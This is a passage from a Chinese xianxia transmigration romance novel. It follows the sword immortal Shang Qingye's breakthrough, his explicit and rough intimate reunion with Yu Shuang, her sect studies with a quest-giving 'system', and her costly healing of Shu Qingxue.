——你也该败了。
商卿夜瞧着沉沉天幕,心如古井,凝沉不波。
自是——万一禅关砉然破,长剑横天,星斗破,渡峥嵘。
- - - - - -
雷云消散,渡劫金光现,灵雨洒落。
寂雪仙尊进阶敛真了!
青竹道尊拍案而起,先是畅快大笑,然后笑声逐渐消失,一点泪水顺着眼角滑落。
一百年了,正道无人,天道偏于魔修,每每推算,她总是止不住忧心,如今终于有了变机,如何不喜?怎能不喜?
半月前她灵犀有感,道寂雪仙尊即将突破,飞信强召外出历练的弟子赶回书院。
进阶三日,挣桎梏,斗天雷,不用她压着,门下弟子全都静心旁观揣摩。
她在一旁看着,不少心浮气躁,隐隐靠向当下轻浮风气的弟子都若有所思,想来是要反躬自省,重头改过了。
旁的不说,就是那进阶敛真的灵雨,也让她们镇魔书院占大便宜了!
青竹道尊喜不自抑,伸手一提剑尊亲自托付来的姑娘,莲步轻移,率先上了后山祝贺。
刚踏上山头,不过一瞥,凃玥心下暗惊,连俞霜脱开她的手都未发现,只凝聚神识,细察商卿夜修为已到何地步。
居然是敛真后期!
她心头大撼,几乎想不明白这是怎么一回事,就被他似冰凝铁铸、不含人情的双眼唬了一跳。
凃玥先是一愕,忽又想起仙尊走火入魔堕入魔道的传言,当下额角浮出冷汗:剑修身上这似灵似魔、缥缈丰沛
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的寒气,竟是连她也看不透了。
“俞姑娘不可……!”
她眼睁睁看着俞霜往剑修身边跑去,脱口的呼喊如蚊蚋,一时动弹不得。
姑娘已经扑进他怀里,雀跃而至,像一只小猴儿一样跳了起来,一把把他抱住,只差盘腿而上、缠在他腰间了。
“我看见了!”她并不是很大声,但谁都听得出欢快,“我看见了,剑尊,你把天戳了一个窟窿,你、你的剑真好看!”
青竹道尊瞧着他反臂抱住姑娘,把人往上一托,心也提到了嗓子眼里。可不过眨眼,剑修身上说不清道不明的阴戾幽骛就像烈日下的薄冰,散得一干二净。
“……在道尊门下学了几个月,怎么言语还是一点进益都没有?”
商卿夜唇角一挑,冰寒化作日曦似的柔情绰态,摸了摸姑娘小巧精细的发髻,又滑到饱满丰润的腰身,最后移到圆润透红的脸上,熟稔地捏了捏。
“好似胖了点?”
俞霜原本笑意满满的眼睛一怔,嘴瘪了瘪,一头撞向他胸口:“你瞎说!才没有!”
“还未与仙尊道喜。”凃玥定定神,换上一派喜气,对商卿夜拱手。“贺仙尊修为大成,实乃正道之喜,正道之喜啊!”
“道尊实在多礼。”商卿夜用指头推开在身上放赖的姑娘,回了个礼,习惯性地说了几句场面话。
待他揽住俞霜,想问几句,一低头,只觉得头上的银丝云髻儿,配着一身不知该叫什么、但流光溢彩的飘飘仙裙,显得姑娘身形浓纤得衷,修短合度,唇前一点朱丹,更显皓齿内鲜,明眸善睐,居然一时看住了。
“怎么样,我把这孩子养得可好?”
凃玥揶揄地冲他眨了眨眼,商卿夜脸上一红,欲待辩解,却不知如何开口。
一对旧友相视一笑,进阶后的些许不自在就烟消云散。
几人往山下走,青竹道尊有事先行一步,接着陆续有书院弟子道贺,领头的便是青竹道尊首徒兰杜薇。
人多得很,商卿夜已不太习惯,兰杜薇见微知著,先驱散了修为不甚高的外门弟子,又命师弟易入诚拦着内门,恭恭敬敬对商卿夜行了一个大礼:“弟子兰杜薇,替镇魔书院上下修士,谢过仙尊指引。”
“道友客气了。”
一股柔和灵力托着兰杜薇双臂扶她直起身,女修一笑:“仙尊此次敛真大成,弈星宗获得消息后,必要大举庆祝,敛真的进阶大典,乐惟也是百年未见了,多谢仙尊赐机,让我也能蹭个新鲜热闹。”
商卿夜笑而不语,兰杜薇看了眼俞霜,揣度着他心意,试探着道:“进阶大典自然要在本派宗门,可弟子与俞姑娘相交数月,倾盖如故,仙尊与俞姑娘的道侣大典,弟子可否有幸为之操办?”
商卿夜一怔:“道侣大典?”
“正是,镇魔书院地形开阔,又处于正道‘腰眼’,办起来定然喜庆热闹,不会堕了……”
“道侣大典,昭告天道么?”剑修嗤笑。“心意领受,大典就不必了。”
兰杜薇被他斩钉截铁的语气堵得一窒,瞟见姑娘骤然一黯的眸子,心下叹息。
18. 第十八章
商卿夜进阶突破耗时三月过半,挣扎这么多年,终于突破敛真,甚至一气跃到敛真后期,他自己都还在适应。修真者闭关二三载,甚至十数年都算寻常,三个月根本不值一提,但对凡人可不是如此。
他和俞霜相识有三个月么?时间一晃过去,心里还真是想念得紧。
听了满耳朵恭贺,天色渐晚,又与青竹道尊议了一回事,商卿夜才带着俞霜回到两人下榻的院落。
院子里的摆设都变了,多了一方书架,宝阁凭几上摆着不少金玉玩器,美人榻上叠着几个粉绣隐囊,很有居家气氛。
商卿夜大马金刀地坐在美人榻上,招手让俞霜过来,眼角瞥到架子上摆得一柄长剑,不由一笑:“身体调养得怎么样,修为可有进益?我听凃玥说,你与她大弟子学了剑?”
姑娘被他握着手腕,坐在旁边,两人间隔一隙。听见他问,姑娘身影一倒,贴着他肩膀就滑到怀里,剑修伸出右臂揽住她往下溜的头,另一手将人抱了个满怀。
他用唇贴了贴她额头,温声慢语:“怎么了?”
“我,我学的不好。”俞霜期期艾艾地说。
商卿夜灵气一动,顺着俞霜经脉探进,但见气血流通、骨正筋柔,五脏十二节腠理固密,心放了七八分,笑道:“怎么会不好?”
“我学得很慢,内功心法记不住,而且,而且你们这里的字,我不认得,大师姐要先教我认字。”
俞霜把头埋他颈窝里,哼哼唧唧,别别扭扭地说。
“系统也在帮我认字,还给我翻译,但是我不懂什么叫精气内守,真气……真气从……从什么……”
商卿夜眉毛挑了挑:“法于阴阳,和于四时,恬淡虚无,真气从之,精神内守,独立归一,这是最基础的《修真怀玉决》总纲。三个月了,总纲都没背下来?”
俞霜紧张地舔了舔嘴巴:“我,我不理解它们什么意思。师姐说,诵读百遍其义自见,我读了一百遍呀,还是不明白。”
剑修伸手刮了刮她浮着羞意的脸,笑道:“傻孩子,真是没有悟性。剑学得怎么样?”
“剑真的太沉啦……”她在他怀里翻了个身,偎在他胸前,“我看书院最小的弟子,每天要挥剑千遍。我挥了一百下,胳膊就抬不动了。真的,特别特别累。”
商卿夜听得忍俊不禁。
姑娘蹭了蹭他,傻乎乎地,讷讷道:“兰师姐说,剑尊每日挥剑一万,你是怎么做到的呀?”
话落,她的头被轻轻摸了一下。
“人各有志罢了,你做不到,也不要妄自菲薄。”
“妄自菲薄是什么意思?”
商卿夜无奈看她一眼:“我看,该先送你去人间孺子学堂。说来书院应该也有给外门弟子授业解惑之处,你兰师姐未带你去?”
“去了呀,她们学得比我快,我还在读《黄帝内经》,没学到‘妄自菲薄’是什么意思。”俞霜咬着嘴唇,“唉,我太没用啦。”
跳过习学的话题,姑娘谈到每日吃喝玩乐之事,掰着手指数今天吃了用粥底烫的火锅,昨天吃了浇了现熬莓酱的酥山,絮絮叨叨,话多且密。
剑修有一搭没一搭地应着,放在背后的手轻轻顺她被养得浓密乌黑的长发,脸色没有历劫后的疲惫,只余如常的平静。
商卿夜到底有些疲倦,没察觉到方才姑娘语气里实实在在的低落,直到一双手按在胸口作乱时才收敛散乱的思绪,勾了勾唇角:“又又,你在做什么?”
俞霜抿着唇,垂着眼睛从睫毛下面一下一下瞧他:“你,你还要不要我帮你啊?”
姑娘第一次主动,他觉得挺新奇的,似笑非笑:“我这媚骨已经彻底被炼化,合欢与寂灭道基相融,用不着再要你帮忙了。”
她先是愣了一秒,然后眸子里就透出一种深深的茫然来。
“那我……那你……那……再也不用了?”
倒也并非如此。
剑修有心逗她,肃了脸色:“再也不用了。”
这下姑娘连肩膀也垂了下去。
商卿夜也怕把人惹急了,见好就收,把她抱过来,细细密密吻她眼角:“今日我进阶,心情着实不错,便予了你。说罢,那系统又给你什么任务了?”
俞霜抬起眼睛,眼里茫茫然一片洞黑,嘴唇翕动,沉默了一会,摇摇头:“……没有任务了。”
“没有了?”商卿夜微愕,想再问一问,一股沉倦慵懒的欲/火烧入血管,烧得他腰已软了,“罢了,你先……你先过来。”
正屋寝室安着一张女儿家都爱得紧的螺钿敞厅床,端得精巧工致,两边槅扇都是螺钿攒造花草翎毛,挂着粉纱帐幔,锦带银钩。床上铺着极软的锦被纱衾,还有一对极舒服的鸳鸯枕。
剑修躺在上面,只觉得一身紧张得绷绷硬的骨头都融化了。一双令青竹道尊觉得冷得妖异的眼睛,此刻柔如春水,风骨依旧,只浸出些独一人能见到的妩媚。
“剑尊。”
姑娘唤了一声,他就把衣袍褪下,一身雪色就展露在昏黄的鲛人烛下,瞧着姑娘的眼神,分不清是绮靡还是深敛,醉汪汪一片像是饮多了酒。她今天似乎主动过了头,动作利索地骑上来,手很麻利地剥掉他身上最后一点遮蔽。
“这么猴急地要占我便宜?”
商卿夜伸手想挑她的下巴,说着调侃的话,语调却柔软亲昵。
俞霜晃了下头,躲开,有些笨拙地挪了一下。她的头发散下来,半遮半掩了神色,未等商卿夜再开口,她的指已按上胸腹,头低下来,温热的唇噙住他的唇,舔了舔。
俞霜没有再说话,指尖轻按凸红。剑修渐渐叹出些气声,颈子向后仰,要害毫无防备地展现在她面前。
姑娘抿了唇,自上而下地瞧着,眼睛里竟闪出些寒津津的冷意,俯身张嘴,照着他喉结要害狠狠咬了下去。
手掐死了身下窄腰,满溢灵力扭结成形,一瞬涨高。
“唔!”
商卿夜不妨她下黑手,足尖绷紧,整个人差点撞进床头。一股干裂的痛贯开大脑,颈子被人死死咬着,挣脱不开。
俞霜被他敲了两下后背,并不松口,牙齿往下扎,吃了满口血,直到听见轻呼变成凝着痛意的哭吟。
便是这么痛、这么深,剧痛过后反而让媚骨得了趣。血润湿了干涩,一片濡湿处,传来咕啾水声。
“……小混蛋,你干什么。”
腰身一颤,剑修的身体在骤发的失控中战栗了好一会。商卿夜揪了一下俞霜的头发,没动,凝着灵力的一指头给她顶开,姑娘这才松了嘴。
她脸上湿漉漉的,除了血,还有一层泪。剑修心头一紧,拿手一抹,抹了满指冰凉。
“这是怎么了?”他喘息着支起身,“又又?”
“没什么,就是想你了。”姑娘抵着他的肩
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头不让他看,含含糊糊地说。
商卿夜顿时没了脾气:“想我就咬我,还咬得这么狠?要是没撤护体灵气,非崩了你的大牙不可。”
“……嗯。”她又张嘴咬了他肩膀一下,“那我继续了。”
“你轻点……”商卿夜侧了侧身,露出背后星星点点的红,“渡劫的时候我受了伤呢。”
她的眸子闪了闪,寡沉的眼里浮起痛惜,又被不知名的感情压下:“……很痛吗?”
剑修留着这伤,本就是让人心疼的,闻言当然点头。
“很疼的话,你会一直记着我吗?像你恨天道、恨那些人一样?”她抱住他,小声喃喃。
“你说什么呢?”姑娘的声音太低,商卿夜没听清,瞧着她神色,后脊忽然窜起一阵冷意。
然后他被扣着胯骨翻过来——俞霜到底也学了些操使灵气的法子——一边拧着他修韧清窈的腰,一边竭力没入。
姑娘满额细汗,眼睛沉沉,低了头,牙扎进他背后那道狭而深的伤口。
商卿夜痛得狠狠吸了一口气,手攥了纱衾,指尖戳出几个洞。他的肩头被迫一颤一颤地动,后腰凹进处盛着细汗,在烛光下一晃一晃地反着光。
他不知道——他竟不知自己是喜欢痛些的。
心中乱意陡增,含混的低泣也微微抖着,渐渐多了些水意。
“唔……又又……”
剑尊声音沙哑而模糊,浸透潋滟风情。
俞霜瞧着灯火烛影,顿了半刻,伸手够了一盏烛。
赤红如血的滚烫烛泪,与如雪白皙相映成趣。
商卿夜觉得脑子里的理智一下子全飞了,嘴里不知道骂着些什么,把姑娘掀开,再调转身形主动抱住她,把她吞下去。乌发如瀑,半湿半干,遮着他飞满晕红的双颊。
剑尊胡乱地吻俞霜的额头,咬她的鼻尖,狠狠亲她红彤彤的唇瓣。
姑娘被他爆发的欲望裹挟着,被亲得两眼迷蒙,又被他按着后脑扎进丰软的胸前。
“你……你不讨厌我这样吗?”
俞霜勉力挣扎出来,商卿夜拿被泪浸透的眼睛斜着一睨,手端了另一支烛,一边冷笑,一边往胸腹的青青紫紫上倒:“你别的不会,就会变着法子磨我,嗯?还说没有任务?”
她眼看着血红烛泪在他皮肉上烫出一点又一点的瑰红,不知道事情为什么会发展成这样。
他……他应该很讨厌、很憎恶才对呀……
俞霜没了法子,现在反而是他在吃她了,即便这样嘴唇也尤不满足地翕张着。
剑尊捏了一点茱萸,硬是往她嘴里塞,灵气凝的甜汁被挤得溢出来,她吃了两口,强逼出来的甜里面杂着腥咸的血。
“不要……我不要了。”俞霜用力推他,又被人把住脸,往唇上亲了两口。
“是不是恼我了?”商卿夜断续喘着,拧着腰让她抱紧,“抛下你三个月,是我不好,你别气,别再哭了,好不好?”
“我没有恼你!”俞霜急得喊出来。
“那你恼什么?唔嗯……”他抱了她往旁边倒,喘息甜而急促,“嗯,别恼我……哈啊,好又又……”
“你瞧我终于……我终于破了命途、再不受人桎梏了……那么多年,我杀了那么多废物……”
剑尊抱着姑娘,絮絮地念叨。
俞霜瞧他喜不自胜的眉眼,终究没有说自己在恼什么。
19. 第十九章
俞霜睁开眼睛。晨光如练,阳光从柔纱遮挡的窗棂外洒进来,螺钿敞厅床上蒙的帐子也被晒出一层浮金。
入了冬,外头是冷的,屋里施了咒,暖意融融。她起来,从矮柜上面摸了一套昨晚叠好的藕丝衣裳并翠绫裙。说是裙子,其实与裙裤也相差无几,方便行动,但大多是给很少动武的法修丹修穿的。
她晨起要练剑,就不选衣裙,而是一套手脚处都收紧的绀青练功服,扎好头发,再登一双墨色短靴。姑娘用清净决净脸净口,喝一杯药草煮的清露,佩了剑,走出院门。
她从镇魔天阁往外走,加上摇摇晃晃不甚稳的御剑飞行,花了将近两刻钟,来到后山空场。内门弟子的早课都快要结束了,她寻了个角落,开始自己一天一百次挥剑的功课。
俞霜用的剑是兰杜薇筑基期的佩剑“含绯”。长剑通体银白,只剑尖有一色浅绯,剑质雅而轻,适合初入道者,兰杜薇便取来赠了姑娘。
她练得是最原朴的道家剑术,无意争锋,旨在养生,不过斩、刺、击,劈四击相连,循环百遍而已。这四击剑法,兰杜薇给她演练三遍,又手把手过了三遍,她才记住。
可听懂是一回事,练会练熟又是另一回事。剑击四招,步法却有十余步,走会步法,再加入剑招,就费了月余。
直到现在,俞霜才练得有些似模似样了。易入诚也凑趣跑来看过几次,点评道简直像小孩儿过家家似的打闹,被兰杜薇在头上狠狠敲了几个毛栗子。
她是没什么悟性的,记忆力也不强,如果不是穿越,按照她的根骨资质,压根入不了仙道。
俞霜也有些疑惑为何在对她资质心知肚明的前提下,兰杜薇仍删删减减,将寻常外门弟子拜入书院后的日程给了她一套。
早课练剑,午间打坐,练字静心,加上专给没有基础的弟子开得通识课,兰杜薇都要她一一参加。问了便是:既然寂雪仙尊和师尊把你托付给我,就不能让修炼胡混开去,若是不受门规故意犯错,竹篾板子该打也会打,不会因为你是外客,就让你随意摸鱼玩乐。
觉得累,就休息。背不下书,也无人怪你,只是贵在坚持。
贵在坚持。
练完一套剑法,俞霜已饥肠辘辘,还得再御剑回镇魔天阁去寻易入诚。为了让她填饱肚子,易入诚特地建了个小厨房,锅碗瓢盆炉台火灶一应俱全,每日都有些新鲜吃食。就是在这些吃食的驱动下,她才飞速掌握了御剑要诀,就为能自由往返后山天阁。
昨夜易二师兄发了面,从后山割了些地软灵草,活进灵兽肉泥,蒸了好些暄暄软软、皮薄馅满的大包子。
“快擦擦口水。”
瞧着姑娘从飞剑上跳下来、急得踉跄两步,易入诚有些嫌弃地皱皱眉,还是取了一个包子,裹进油纸塞给她:“慢点吃,全镇魔书院都没人跟你抢。”
俞霜听话,小口小口啃,配一碗帮她调理身体的灵浆。吃完还要喝药,服丹丸,静心打坐半个时辰,运转《修真怀玉决》。
三个月过去,这些事对她来说依然那么新奇、那么有趣,哪怕是一碗又一碗的苦药,她都当成宝贝来喝,看得提前准备了杏干桃脯、就怕姑娘叫苦的易入诚啧啧称奇。
她这边吃着包子,就听外面人声不歇,喧哗阵阵。易入诚把手扣在脑后,有意无意地问:“没想到寂雪仙尊最后决定在我们这儿办进阶大典。虽说七日后他师父要在弈星宗结道侣,多少有些冲撞吧,但这可是敛真大典……哎,仙尊就没跟你说什么?”
商卿夜这几日忙得很,只有晚上能匆匆见一面,白日早就出门去了。俞霜歪头想了片刻,摇摇脑袋:“剑尊让我该做什么就做什么,说进阶大典和我没关系。”
“怎么没关系呢!”易入诚一拍椅子,“这对你也是件很重要的事儿啊!你就没别的想法?”
对于仙尊带回来的女修,他开始半是好奇,半是看好戏,相处久了,不得不承认她看着安静绵软,却真撑得住场面,最重要的是不瞎裹乱。只是这性子是不是太被动了点……
俞霜又拿了个包子,这回是肉蓉栗米馅儿的。她盯着包子,不懂易入诚想让她有什么想法。
这种任人安排、乖乖听话的行事方法,是她最熟悉,也做得最好的。剑尊有必须要做的事、把她交给兰杜薇带,她一点意见也没有,唯一慌乱的时候是不知道他不在的时候该做什么。最后,这点慌乱也被把她安排得明明白白的兰杜薇驱散了。
还有什么好想的呢?唯一困扰她、让她每日担忧的,就只剩一个问题。
“易师兄,你说,剑尊还需要我做什么啊?”
易入诚一愣:“这我哪知道?听师姐说,你救了仙尊,那往后他自然管着你。救命之恩,只能以身相许了吧,嘿嘿。”
俞霜怪异地看了他一眼:“我并没有救剑尊啊,只是帮了他的忙。现在他不需要我帮忙啦……再说我修仙也修不好,没什么用。但我想留在剑尊身边,易师兄说,我之后该怎么办?”
易入诚挠了挠头:“不是……我没明白你意思啊,道侣之间,哪用得着算这么清楚?仙尊对你真心,你也对他真心,不就得了?”
俞霜听了回答,表情更不对了,半晌才道:“可我也不是道侣呀,而且,真心是什么?我才完全不明白你的意思呢,算了,易师兄好笨,我回屋子打坐去。”
“你才笨!三个月背不下心决总纲的笨小孩!靠之,真是好心当成驴肝肺!”
易入诚怼给她两碗苦药,跳着脚找兰杜薇去了。
俞霜回到自己的小院,打了水,擦了擦脸和身子。清净决虽然方便,可总让人觉得还不够干净似的。这么一练下来,体内能圆融掌握的灵气也耗了个七七八八,她只得静下心来打坐。
明婴灵力甚多,但能如使臂指般用的,不过与筑基期仿佛,还需每日运转习练,才能慢慢与经脉交融。
青竹道尊也不是没怀疑过她是不是夺舍之人,才会身魂不符,后面一查,确实是原样原装的身体,这才罢了。
打坐一刻,俞霜终究是静不下来,外面吵闹的很,阳光又好,叽叽喳喳鸟鸣声声,她想出去逛逛。哪怕是冬日,后山也草木滋润,风光秀朗,蕴阳湖也极大,风景远胜俞霜生平所见。
她心里转着逃课的念头,系统动了动,拉开一片光屏。
说到系统,四个月以来,没有剑尊在旁监视,吸足了能量的任务界面鸟枪换炮,多了不少活泼可爱的装饰,大大一个“希彤”落在右下角,镶嵌了一圈粉色小花花。
希彤狡猾得很,把兰杜薇安排的学习计划生成了一个“每日任务”,察觉俞霜想逃学,立刻闪出来进行了一个高光警告。
俞霜:……
“你好烦诶!”她大声抱怨。
光屏簌簌抖动起来,像是系统在笑。
自从商卿夜闭关尝试突破敛真后,好感条就完全灰了,希彤给出的解释是以它的能力已经无法再探寻剑尊的内心,之前从旁的攻略者身上李代桃僵的任务还在,毕竟谢衡这个
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天道重要棋子还活着,若是有什么变故,首当其冲的也是剑尊,找不到俞霜身上来。
希彤……也因此变得很悠闲,平常也就是帮俞霜解释解释心经意思,监督姑娘平日修炼,做她的电子笔记本罢了。
它对还是人类时的记忆已然模糊,只依稀记得,仿佛也是从类似“现代”的地方穿来的。只是合作的穿越者多了,庞杂的知识吸收不少,辅助俞霜理解古代言词习惯,倒还绰绰有余。
“下午又要去学《道德经》,唉,我真的听不懂啊。”
姑娘两只手托着腮,不情不愿,叹了一口气。
学习,她从初中之后就再也没学习过了诶?充其量不是个文盲。可到了这边,又得从头开始学识字,两本启蒙,分别是《黄帝内经》和《道德经》。
哦,还有一本《修真怀玉决》。
这些希彤都印了电子拓本,储存在光屏里,随时都能翻看,不然俞霜背诵的进度还要再慢一点。
光屏又闪了闪。希彤也不是随时随地都能出来与俞霜沟通的,它的能量不多不少,总要节省些。剑尊突破,任务也停滞了,最近的一个,与白旆道尊息息相关,俞霜怎么也得去一趟弈星宗。
但在催促任务之前,希彤更关心的是修炼一事。俞霜之所以在修行心法上进度迟缓,主要是因为她都没想清楚自己要做什么。
——你想修怎样的道?
看着光屏上的一行字,俞霜揉了揉眼睛,撑着脸思考。
初初修真,怀玉决首篇第一句便是“处天地之和,躬问己身,悟道之本也”,也就是问:“你是谁,你从哪里来,又要往哪儿去”。
我是谁?我想做什么?从来没有人问过她这个问题,也从没有人在乎她的答案。兰杜薇问她的时候,俞霜答不上来,女修就安慰她无需惶恐,好好想明白了再告诉她。
大师姐态度松缓,但意思很明确:这个问题很重要,需要一个明确的回答。
俞霜想了很久,还去问了易入诚以及两个总给她扶脉的丹修,给的回答都是,立道之本,姑娘得自己想。
“我本来应该想不出来这个问题的答案,但是前阵子舒清雪不是总来找我吗?剑尊出来后,我突然想到答案了。”俞霜拿指头贴着光屏胡乱画圈,希彤微微闪烁,很耐心地等着。
也不知道,同为客人,一个在少阳地阁,一个在镇魔天阁,舒清雪是怎么隔几日就来“偶遇”一次的。
俞霜就不是个跟人起争执的性子,对方唠唠叨叨说一堆“齐大非偶,姑娘与寂雪仙尊不合适,结契讲究一个门当户对云云”,有时西子捧心,说什么“清雪与姑娘一样,同为无源之水,我并非不愿做那替身,只是道尊爱仙尊爱得苦,我只想做一只小猫小狗、远远看着二人幸福罢了……”
她连“齐大非偶”是什么意思也不晓得,只依稀听出舒清雪说她与商卿夜不配。听时不觉得怎样,到了睡觉的时候,居然难得失眠,在床上翻来覆去。
无根之木,无源之水。她与剑尊不是仙家道侣,也不是俗世夫妻,剑尊媚骨已被炼化,又总不愿用她的替伤能力,那么,她到底该怎么办呢?
工具如果没有用,在哪都派不上用场,就不配吃饭,也不配得到好东西。没有一个好理由,就算只是静静呆在哪里,也会被指责,会被欺负,不得安宁。
“我不是舒清雪。我想留在剑尊身边。”俞霜想了想,对希彤说。“不知这算不算‘道’,但我想……我得找个法子,能一直看他挥剑。”
20. 第二十章
商卿夜再次做了一个相同的梦。
浮光暗影,旋转相交。
四百又三十七年。破阶,破阶,破阶,失败身死,身死,身死。
有许多人面流水般滑过,诸天尊者,凡界生民;无数嘈杂人声絮絮过耳,金戈声铮铮,紫雷隆隆,回忆幽深难测,缥缈难辨。
猛地眼前豁然一明,商卿夜从打坐中惊醒,心跳剧急,冷汗透衫,舌根满是血腥。
高阶修士很难做梦,梦往往是一种预兆。许是修为越阶过快,破却已有桎梏后反觉经脉淤堵。心气狭窄,剑道有无法扩举之障。
破境之后,修士所求的唯有顿悟。寂灭一道,他所由之途,原是抛却自身,握生杀之本始,使己身与天地相融,再破神明之府,是为消融万物之寂灭道统。
然而,当他反视内心,对道统的追求不知何时已消失了,只有不断坠落深渊的梦境和以往轮回所累积的疮疤,组成一个又一个血淋淋的噩梦。
天雷尽碎后,他知晓己身已踏入一个无法回头亦不可扭转的境遇。
他没有失败,但冷冷的目光锁定在身上,这凝视来自头顶星辰,来自万万年前,跨过遥远而难以逾越的距离,既冷漠,又致命,如刺客,如跗骨之蛆。
谁会喜欢被困的滋味?可不再受困,前路反而充满迷雾,无知渺茫,原著话本也再作不了参考。
如若奈何?奈何不得。
商卿夜长叹一声,怔怔坐了足有小半个时辰,才走出静持塔。
外门一片人声笑语。镇魔书院好久无甚可喜之事,借庆贺寂雪仙尊进阶为由,终日苦修的弟子也有了机会欢乐一番。这方掌门与各长老的弟子放手让首徒安排流程,剑修也不能完全当个甩手掌柜。
不过他离开静持塔后,并未直接去镇魔天阁议事处,反而先去了丹修一脉的固拙地阁。
几个月以来,俞霜的脉案积少成多,垒了厚厚一叠,在患者本人不知情的前提下,她的经脉症状已成了丹修们重要的研究中心。
骨骼经脉尽似凡人,却蕴养元婴在丹田,丹修们从未见过如此奇怪的脉案,一时心中大撼,竟生出些恐怖之感。
外表分明是正儿八经的明婴期,内里却经脉萎弱阴阳反作,眼里看见的与理论互为反悖,越往深里查探,就越觉得古怪异常,哪个丹修能不觉得吓人呢。
商卿夜大概知道这是为什么。
天道强拉外人入莲华域,俞霜原是凡人,根骨不佳,被强灌灵力,身体依靠天道维持在一个微妙的平衡上,看似进阶得快,其实经络心性根本支撑不了修为。与其说是“攻略者”,不如说是粗制滥造的“耗材”。
便是以天生媚骨铸的炉鼎为基,化天材地宝丹药温养,也不知何时能灵肉和合,修仙入道。
在那之前,又会生出多少变故,从未突破敛真的商卿夜也无从得知。
果然还得严审谢衡,还有更多穿越者……若能抢攻略者的气运安在俞霜身上,未尝不能骗过天道,给自己一些喘息之机。
这边,商卿夜正在与丹修长老萧何旭研究脉案,就有外门弟子匆匆御剑跑来,连滚带爬、几乎是跌下剑来。
丹修长老深觉失礼,吹胡子瞪眼睛,还未开口批评弟子不成体统,就被一道破了音的呐喊吓了一跳——
“萧长老,还请您老动身跟弟子走一趟外院,渌水、渌水真人为了寻找送给仙尊的进阶贺礼,在碧瑶秘境被魔修偷袭,身受重伤元婴破碎,眼看就要活不成了哇!”
这下萧何旭胡子眉毛一起飞了起来:“身负重伤?元婴破碎?你别是骗我的吧?”
还是为了给寂雪仙尊送贺礼?
如果不是有外人在,萧何旭一定破口大骂:背靠弈星宗,什么贺礼没有,修为平平偏要自己出去找;再说,再过一阵子就是你渌水真人的结契大典,不好好回宗门与未婚夫增进感情,现在受重伤,不回弈星宗,反倒来这里,这,这不是纯心赖上他们镇魔书院?
不行不行,这事闹大发了,恐怕会影响两派关系。
萧何旭先抛了两个玉瓶给外门弟子:“兹体事大,我要先禀报掌门青竹道尊。此乃混元度难散,你速去给渌水真人服下,保他一时半刻死不了。”
男修匆匆接过,就见丹修长老拽着寂雪仙尊的袖子,往镇魔天阁飞去,快得让他来不及再说什么,只能一跺脚,也匆匆离去。
“我与渌水真人不熟,你拽我做什么。”
商卿夜一甩衣袖,瞪了一眼头发胡子花白的老头。这人就好装一手仙风道骨,还变了胡子长眉,现在情急之下,显得十分可笑。
“你与渌水不熟,那白旆是不是你师父?啊?他们还不都是为了你闹起来的么?你可得负责,弈星宗绝不能对镇魔书院有意见。”萧何旭跺了跺脚下的药杵,满心急躁,“真是祸国殃派,蓝颜祸水啊!”
剑修无力扶额,连骂句“滚”的念头都没了。司徒洛与舒清雪那档子破事也不是第一次见,轮回中司徒洛顶着师尊的名头纠纠结结牵牵扯扯,明示心意都不敢,只是反复纠缠暗示,被他拒绝后反倒起了火气,找了个“替身”妄图气他。
这替身也是奇葩一人,司徒洛心中有火,对舒清雪百般调教虐待,谁都劝渌水真人早日离开解脱,他反而爱之入骨,顶着一身鞭伤还要为司徒洛辩解。
“你别担心,舒清雪不会死的。”
商卿夜自觉是个正直善良的好剑修,看萧何旭急急跳下飞剑,好心安慰一句。
不是收集贺礼,就是外出剿魔,哪怕身在无比安全的正道秘境,舒清雪也会元婴破碎、伤重垂死。但是他这口气一定会吊到司徒洛来,再凄美动人地合上双眼,让白旆心头大撼,口吐鲜血,方明白自己“早已不爱高岭之花寂雪仙尊,而是甘为小猫小狗奉出一切的渌水真人”。
这虐恋情深你爱我我不爱你你死了我懊悔不迭的戏码,剑修看了不下十次,简直腻歪的不行。
等两人进了镇魔天阁,揪出一棵在炼丹房摸鱼不处理门派事务的掌门道尊,刚把事情说出来,又一道飞剑流光闪来。这回步履匆匆的不是某一外门弟子,而是掌门座下首徒,大师姐兰杜薇。
凃玥还是第一次看见自己向来老成持重八风难动的爱徒脸色难看成这样,惊道:“难不成渌水真人已经死了?”
“他好得很!”兰杜薇把自己掌心都攥破了,“有事的是俞姑娘才对,她不知用了什么秘术,舒清雪断了七八根骨头、又被魔焰灼坏元婴,她一挥手,他就活蹦乱跳了!”
“你说什么?”
两道声音同时响起——一道来自凃玥,另一道属于商卿夜。
剑修两眼发黑,手脚先凉再微微发木:“你说舒清雪身上的伤都痊愈了?她做什么给舒清雪替伤?”
兰杜薇为剑修言下之意暗暗心惊,但仍然行礼躬身,恳求道:“不管俞姑娘用了什么秘法,舒清雪伤愈、她反倒皱眉不适的样子满外门的弟子都看见了,人言可畏,还请师尊仙尊速去前院处理此事!”
该死的!
凭空风起,度厄剑一拓一闪,剑修便如离弦之箭疾飞而出,看得另外三人俱是一愣,反应各不相同:兰杜薇松了口气,青竹道尊蹙眉不语,萧何旭甩甩袍袖,左看看右看看,道:“看起来没我什么事了?”
“如何没事?”凃玥瞪他一眼,“你就在这等着,说不定需要你诊脉。”
这三人不提,且说回往外院去的剑尊,几息之后便已落入外院前场,根本不需要他出声,兰杜薇早已安排了内门弟子驱散旁观者。
出乎意料的是,俞霜脸色极苍白,商卿夜一瞧就是在忍痛,却还慢吞吞地与舒清雪说着话。
“……你说白旆道尊一片真心,你总强调‘真心’,那东西不当吃不当喝,什么用都没有,关我什么事?我真的没有,也不要有。”
商卿夜脚步一停,脸色一沉,几乎和俞霜一样难看了。
舒清雪躺在地上转过脸,眼里闪着妖异微光,对着商卿夜深深一笑:“呵哈哈哈……寂雪仙尊,你听到了吗?你听到了吧!她根本不懂情爱,更不懂你啊……她永远都不会懂!”
“闭嘴!”
剑修身心一震,抬手扔了一个禁言术过去,大袖一卷,将俞霜
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卷进怀里。手先摸额头,摸到满手冷汗,再扣住脉门,一瞬,神情已狰狞得不能用“难看”二字概括了。
一股混混沌沌的灰雾阻绝了好不容易养出来的脉脉生机,若不是元婴还艰难运转着,他几乎找不到经脉底处那一线柔和绵长的生命之本源了!
他低下头,嘴唇是微微勾起的,眼睛居然也盛着盈盈温和:“……又又能不能告诉我,为何要救舒清雪?”
话音刚落,他就看见姑娘眼睛闪烁出星点羞愧,不言语地低下头,脸色愈发苍白。
难不成,你是按照天道的指示这么做的吗?
剑修动了动嘴唇,这句话卡在喉间,怎么都说不出来。也许他不问,就用不着面对让他齿冷心寒的答案。
